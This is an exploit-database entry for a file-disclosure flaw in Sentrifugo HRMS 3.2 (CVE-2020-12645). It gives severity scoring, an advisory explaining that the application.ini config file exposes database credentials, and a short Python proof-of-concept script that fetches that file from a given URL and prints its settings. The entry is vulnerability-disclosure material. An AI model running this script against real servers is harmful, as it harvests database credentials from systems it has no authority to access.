Exploitalert - Database of Exploits

Sentrifugo Human Resource Management System 3.2 File Disclosure

CVE	Category	Price	Severity
CVE-2020-12645	CWE-16	$500	Critical

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2019-05-02

CPE
cpe:cpe:/a:sentrifugo:human_resource_management_system:3.2

CVSS	EPSS	EPSSP
CVSS:4.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Network	AV	The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	None	PR	The attacker is unauthenticated prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.
User Interaction	None	UI	The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	None	I	There is no impact on the integrity of the system; the attacker does not gain the ability to modify any files or information on the target system.
Availability	None	A	There is no impact on the availability of the system; the attacker does not have the ability to disrupt access to or use of the system.

https://cxsecurity.com/ascii/WLB-2019050020

Sentrifugo Human Resource Management System 3.2 File Disclosure

###################################################################### # Exploit Title : Sentrifugo Human Resource Management System 3.2 Database Configuration Disclosure # Author [ Discovered By ] : KingSkrupellos # Team : Cyberizm Digital Security Army # Date : 02/05/2019 # Vendor Homepage : sentrifugo.com # Software Download Link : sentrifugo.com/downloadzip/1556734875 github.com/sapplica/sentrifugo/archive/master.zip # Software Affected Versions : 1.1.1 - 1.1.7 - 2.0.1 Beta - 2.1.1 - 3.1.1 and 3.2 # Tested On : Windows and Linux # Category : WebApps # Exploit Risk : Medium # Vulnerability Type : CWE-16 [ Configuration ] CWE-200 [ Information Exposure ] CWE-538 [ File and Directory Information Exposure ] # PacketStormSecurity : packetstormsecurity.com/files/authors/13968 # CXSecurity : cxsecurity.com/author/KingSkrupellos/1/ # Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos ###################################################################### # Information about Software : *************************** Sentrifugo is a FREE and powerful Human Resource Management System (HRMS) that can be easily configured to meet your organizational needs. ##################################################################### # Impact : *********** Sentrifugo Human Resource Management System 3.2 configuration file may potentially disclose sensitive information to remote attackers. The username and password of the database may be obtained trough the "application.ini" file. This is going to have an impact on confidentiality, integrity, and availability. The configuration file unintentionally stored in /application/configs/application.ini HTTP requests consisting of a single character will cause the software to disclose sensitive configuration information, including the password/database to the administrative web interface. This file is installed, by default, with world readable and possibly world writeable permissions enabled. This may have some potentially serious consequences as the configuration file also stores password information in plain text. This issue occurs because access controls on configuration files are not properly set. An attacker can exploit this issue to retrieve potentially sensitive information. Attackers can access config file via URL request. This may aid in further attacks. The access to the /configs directory should be restricted with an adequate countermeasure by the use of a .htaccess file. * The product stores sensitive information in files or directories that are accessible to actors outside of the intended control sphere. * An information exposure is the intentional or unintentional disclosure of information to an actor that is not explicitly authorized to have access to that information. Installation Guide for Windows - Linux - MacOSX => sentrifugo.com/installation-guide ##################################################################### # Database Configuration File Disclosure Exploit : ******************************************* /application/configs/application.ini Information : ************* resources.db.adapter = PDO_MYSQL resources.db.params.host = SENTRIFUGO_HOST resources.db.params.username = SENTRIFUGO_USERNAME resources.db.params.password = SENTRIFUGO_PASSWORD resources.db.params.dbname = SENTRIFUGO_DBNAME resources.db.isDefaultTableAdapter = true Exploit - Proof of Concept : ************************** #!/usr/bin/python import string import re from urllib2 import Request, urlopen disc = "/application/configs/application.ini" url = raw_input ("URL: ") req = Request(url+disc) rta = urlopen(req) print "Result" html = rta.read() rdo = str(re.findall("resources.*=*", html)) print rdo exit ##################################################################### # Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team #####################################################################

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